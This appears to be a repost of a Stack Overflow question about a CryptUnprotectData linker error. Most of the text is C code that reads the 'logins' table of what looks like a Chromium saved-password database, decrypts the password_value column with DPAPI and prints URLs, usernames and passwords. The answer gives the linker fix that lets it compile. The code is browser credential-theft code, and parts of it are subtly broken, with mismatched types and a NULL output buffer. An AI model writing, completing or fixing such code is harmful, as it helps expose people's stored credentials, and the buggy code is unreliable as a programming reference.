gpt4 book ai didi

c++ - LNK1120 和 LNK2019 错误

转载 作者:塔克拉玛干 更新时间:2023-11-03 07:54:07 24 4
gpt4 key购买 nike

我正在尝试学习 SQLite3 API,当我调试时出现 fatal error 。已知我将链接器配置为将其编译为控制台。

Error 1 error LNK2019: unresolved external symbol _CryptUnprotectData@28 referenced in function _main ....\"filename".obj

Error 2 error LNK1120: 1 unresolved externals Debug\"filename".exe

代码如下:

#include <stdio.h>
#include <conio.h>
#include "sqlite3.h"
#include <stdlib.h>
#include <Windows.h>


int main()
{


sqlite3_initialize();
sqlite3 *sqlHandle;
int call;
char *tail = NULL;
sqlite3_stmt *stmt = NULL;
const FILE *fileHandle = "C:\\Users\\"username"\\Desktop\\Data.sqlite";
call = sqlite3_open_v2(fileHandle, &sqlHandle, SQLITE_OPEN_READONLY,NULL);
if (call != SQLITE_OK)
{
sqlite3_close(sqlHandle);
exit(EXIT_SUCCESS);
}
//preparing statement to be executed
if (sqlite3_prepare_v2(sqlHandle, "SELECT action_url,username_value,password_value FROM logins", sizeof(char)*60, &stmt, &tail) != SQLITE_OK)
{
sqlite3_close(sqlHandle);
printf("Can't retrieve data: %s\n", sqlite3_errmsg(sqlHandle));
}


CRYPT_INTEGER_BLOB *blob;
CRYPT_INTEGER_BLOB *UnprotectedBlob = NULL;
while (sqlite3_step(stmt) == SQLITE_ROW)
{
blob = sqlite3_column_text(stmt, 2);
if (CryptUnprotectData(blob, NULL, NULL, NULL, NULL, 0, UnprotectedBlob))
{
printf("%s | %s | %s \n",
sqlite3_column_text(stmt, 0),
sqlite3_column_text(stmt, 1),
UnprotectedBlob->cbData);
}
}

sqlite3_finalize(stmt);
sqlite3_close(sqlHandle);
sqlite3_shutdown();
_getch();
return 1;
}

最佳答案

您需要链接到 CryptoAPI 库。您可以从链接器的项目属性(Configuration Properties > Linker > Input > Additional dependencies ),或来自带有 #pragma 指令的代码。

#pragma comment(lib, "Crypt32")

关于c++ - LNK1120 和 LNK2019 错误,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/22885950/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com